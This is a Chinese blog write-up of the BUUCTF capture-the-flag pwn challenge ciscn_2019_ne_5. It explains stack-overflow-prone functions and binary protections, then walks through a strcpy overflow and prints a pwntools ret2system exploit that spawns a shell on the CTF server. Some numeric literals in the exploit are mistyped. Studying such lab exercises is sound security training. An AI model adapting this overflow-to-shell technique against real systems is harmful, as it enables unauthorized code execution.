【BUUCTFPWN】ciscn_2019_ne_5

文章讨论了栈溢出的危险函数,如gets、scanf等,并介绍了几种保护机制,包括RELRO、NX、PIE和栈保护。在特定的程序中,发现了一个可以通过栈溢出来执行system函数的机会。利用这个漏洞,构造payload来调用system并获取shell。最终,文章提供了一个利用过程,包括构造payload来执行/bin/sh或sh来获取shell权限。
摘要由CSDN通过智能技术生成

首先回顾一下

栈溢出的危险函数

  • 输入
    • gets,直接读取一行,忽略’\x00’
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到’\x00’停止
    • strcat,字符串拼接,遇到’\x00’停止
    • bcopy

保护机制解析

1.Arch:编译的时候是多少位编译的。

2.RELRO:分为两种情况,第一种情况是Partial RELRO,这这情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用。

3.Stack:这个保护其实就是在你调用的函数的时候,在栈帧中插入一个随机数,在函数执行完成返回之前,来校验随机数是否被改变,来判断是否被栈溢出,这个我们也俗称为canary(金丝雀),栈保护技术。

4.NX:为栈不可知性,也就是栈上的数据不可以当作代码区执行的作用,一般有NX保护开启的话,基本上这个题不能用shellcode做。

5.PIE:PIE的中文叫做,地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址,不可能通过一些工具进行解题了。

system函数

函数原型

包含在头文件 “stdlib.h” 中

int system(const char * command)

函数功能

执行 dos(windows系统) 或 shell(Linux/Unix系统) 命令,参数字符串command为命令名。另,在windows系统下参数字符串不区分大小写。

说明:在windows系统中,system函数直接在控制台调用一个command命令。
在Linux/Unix系统中,system函数会调用fork函数产生子进程,由子进程来执行command命令,命令执行完后随即返回原调用的进程。

system的作用就是接收一个个shell命令为参数,执行这个shell命令。

函数返回值

命令执行成功返回0,执行失败返回-1。

做题流程

首先照例检查一下保护,NX打开了。canary没有打开,可以使用栈溢出。
在这里插入图片描述
使用IDA进行反编译,然后F5进入函数查看下流程,看到主函数里面有一个如下图的函数,这段代码要求用户输入administrator,否则就退出程序。
在这里插入图片描述

这个函数之后,程序要求用户输入一个数字选择操作,
在这里插入图片描述
一眼望过去,GetFlag函数特别显眼,点进去看一看,函数中使用strcpy函数将传进来的参数src上的字符串复制给dest,可以进行栈溢出。
在这里插入图片描述
现在我们的目标变成了要给src赋一个字符串,能让GetFlag函数实现栈溢出,返回主函数,轮流查看其他的几个操作,AddLog函数如下图,该函数使用__isoc99_scanf驶入一个长度为128的字符串给a1,这里a1实际上就是传进来的src。
在这里插入图片描述
同时我们在Print函数中,找到了system函数,我们可以使用该函数进行shell获取。
在这里插入图片描述
总结一下,我们要做的几件事:

  1. 输入administrator
  2. 选择1,向src中输入栈溢出的字符串
  3. 选择2,调用GetFlag函数,进行栈溢出

我们现在要构造payload,构造如下:
栈填充 + system的地址 + system的返回地址 + system的参数

  • 栈填充:b’a’*(0x48+4)
  • system的地址
  • system的返回地址:由于strcpy函数时遇到\00截止,所以此处的返回地址构造要避免\00,我们可以使用字符串‘1234’,进行填充
  • system的参数:可以使用'/bin/sh''sh'进行填充,具体原因下面解释。

我们使用ROPgadget查找字符串/bin/shsh。如下,我们找到了sh
在这里插入图片描述

最后我们的exploit如下:

from pwn import *
context.binary = './ciscn_2019_ne_5 '
elf = context.binary
io = remote( 'node4.buuoj.cn', 29562)

system = elf.sym['system']
io.sendlineafter(b'admin password:' ,b'administrator')
io.sendlineafter(b':', '1')
payload = b'a'*(0×48 +4)
payload += p32(system)
payload += b '1234'
payload += p32(0×80482ea)
io.sendlineafter(b 'info:' ,payload)
io.sendlineafter(b':','4')

io.sendline(b'cat flag')
io.interactive()

为什么sh也能获取shell?

简单说一下bin文件夹:

binBinary的缩写,存放着可执行文件或可执行文件的链接(类似快捷方式),我们可以看到cp,chmod,cat等常用命令都在这里。Linux 不按后缀识别文件类型,/bin目录中的文件都是可执行的二进制文件。
/bin类似的是/sbin目录,System Binary 的缩写,这里存放的命令可以对系统配置进行操作。普通用户可能可以使用这里的命令查看某些系统状态,但是如果想更改配置,就需要sudo授权或者切换成超级用户。

我们平常在终端中输入的命令,都是bin文件夹下的一个可执行文件。我们在终端中执行命令时,第一个参数就是使用的工具/可执行文件,这个工具的默认文件夹就是bin
按照这个看,/bin/shsh的区别就在于前者是绝对路径,而后者是相对路径了。

参考连接:
[buuctf]ciscn_2019_ne_5
介绍 Linux 文件系统:这些目录都是什么鬼?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值